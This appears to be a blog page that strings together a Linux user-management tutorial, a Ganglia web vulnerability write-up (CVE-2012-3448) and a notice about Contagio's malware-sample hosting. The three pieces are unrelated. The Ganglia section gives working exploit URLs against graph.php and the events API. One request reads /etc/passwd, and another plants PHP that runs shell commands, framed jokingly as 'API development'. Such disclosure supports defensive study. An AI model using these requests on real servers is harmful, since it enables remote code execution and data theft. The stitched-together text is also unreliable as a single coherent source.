Zal.:.

Zal Walt

Welcome back to Linux Command Line Hackery series, I hope you've enjoyed this series so far and would have learned something (at least a bit). Today we're going to get into user management, that is we are going to learn commands that will help us add and remove users and groups. So bring it on...

Before we get into adding new users to our system lets first talk about a command that will be useful if you are a non-root user.

Command: sudo
Syntax: sudo [options] command
Description: sudo allows a permitted user to execute a command as a superuser or another user.

Since the commands to follow need root privileges, if you are not root then don't forget to prefix these commands with sudo command. And yes you'll need to enter the root password in order to execute any command with sudo as root.

Command: useradd
Syntax: useradd [options] username
Description: this command is used for creating new user but is kinda old school.
Lets try to add a new user to our box.
[Note: I'm performing these commands as root user, you'll need root privileges to add a new user to your box. If you aren't root then you can try these commands by prefixing the sudo command at the very beginning of these command like this sudo useradd joe. You'll be prompted for your root password, enter it and you're good to go]

useradd joe

To verify that this command has really added a user to our box we can look at three files that store a users data on a Linux box, which are:

/etc/passwd -> this file stores information about a user separated by colons in this manner, first is login name, then in past there used to be an encrypted password hash at the second place however since the password hashes were moved to shadow file now it has a cross (x) there, then there is user id, after it is the user's group id, following it is a comment field, then the next field contains users home directory, and at last is the login shell of the user.

/etc/group -> this file stores information about groups, that is id of the group and to which group an user belongs.

/etc/shadow -> this file stores the encrypted password of users.

Using our command line techniques we learned so far lets check out these files and verify if our user has been created:

cat /etc/passwd /etc/group /etc/shadow | grep joe

In the above screenshot you can notice an ! in the /etc/shadow, this means the password of this user has not been set yet. That means we have to set the password of user joe manually, lets do just that.

Command: passwd
Syntax: passwd [options] [username]
Description: this command is used to change the password of user accounts.
Note that this command needs root privileges. So if you are not root then prefix this command with sudo.

passwd joe

After typing this command, you'll be prompted password and then for verifying your password. The password won't show up on the terminal.
Now joe's account is up and running with a password.

The useradd command is a old school command, lets create a new user with a different command which is kinda interactive.

Command: adduser
Syntax: adduser [options] user
Description: adduser command adds a user to the system. It is more friendly front-end to the useradd command.

So lets create a new user with adduser.

adduser jane

as seen in the image it prompts for password, full name and many other things and thus is easy to use.

OK now we know how to create a user its time to create a group which is very easy.

Command: addgroup
Syntax: addgroup [options] groupname
Description: This command is used to create a new group or add an existing user to an existing group.

We create a new group like this

addgroup grownups

So now we have a group called grownups, you can verify it by looking at /etc/group file.
Since joe is not a grownup user yet but jane is we'll add jane to grownups group like this:

addgroup jane grownups

Now jane is the member of grownups.

Its time to learn how to remove a user from our system and how to remove a group from the system, lets get straight to that.

Command: deluser
Syntax: deluser [options] username
Description: remove a user from system.

Lets remove joe from our system

deluser joe

Yes its as easy as that. But remember by default deluser will remove the user without removing the home directory or any other files owned by the user. Removing the home directory can be achieved by using the --remove-home option.

deluser jane --remove-home

Also the --remove-all-files option removes all the files from the system owned by the user (better watch-out). And to create a backup of all the files before deleting use the --backup option.

We don't need grownups group so lets remove it.

Command: delgroup
Syntax: delgroup [options] groupname
Description: remove a group from the system.

To remove grownups group just type:

delgroup grownups

That's it for today hope you got something in your head.

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');

I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.

As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'

As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

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Zal Walt

After 7 years of Contagio existence, Google Safe Browsing services notified Mediafire (hoster of Contagio and Contagiominidump files) that "harmful" content is hosted on my Mediafire account.

It is harmful only if you harm your own pc and but not suitable for distribution or infecting unsuspecting users but I have not been able to resolve this with Google and Mediafire.

Mediafire suspended public access to Contagio account.

The file hosting will be moved.

If you need any files now, email me the posted Mediafire links (address in profile) and I will pull out the files and share via other methods.

P.S. I have not been able to resolve "yet" because it just happened today, not because they refuse to help. I don't want to affect Mediafire safety reputation and most likely will have to move out this time.

The main challenge is not to find hosting, it is not difficult and I can pay for it, but the effort move all files and fix the existing links on the Blogpost, and there are many. I planned to move out long time ago but did not have time for it. If anyone can suggest how to change all Blogspot links in bulk, I will be happy.

P.P.S. Feb. 24 - The files will be moved to a Dropbox Business account and shared from there (Dropbox team confirmed they can host it )

The transition will take some time, so email me links to what you need.

Thank you all
M

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Zal.:.

8/25/2020

Linux Command Line Hackery Series - Part 6

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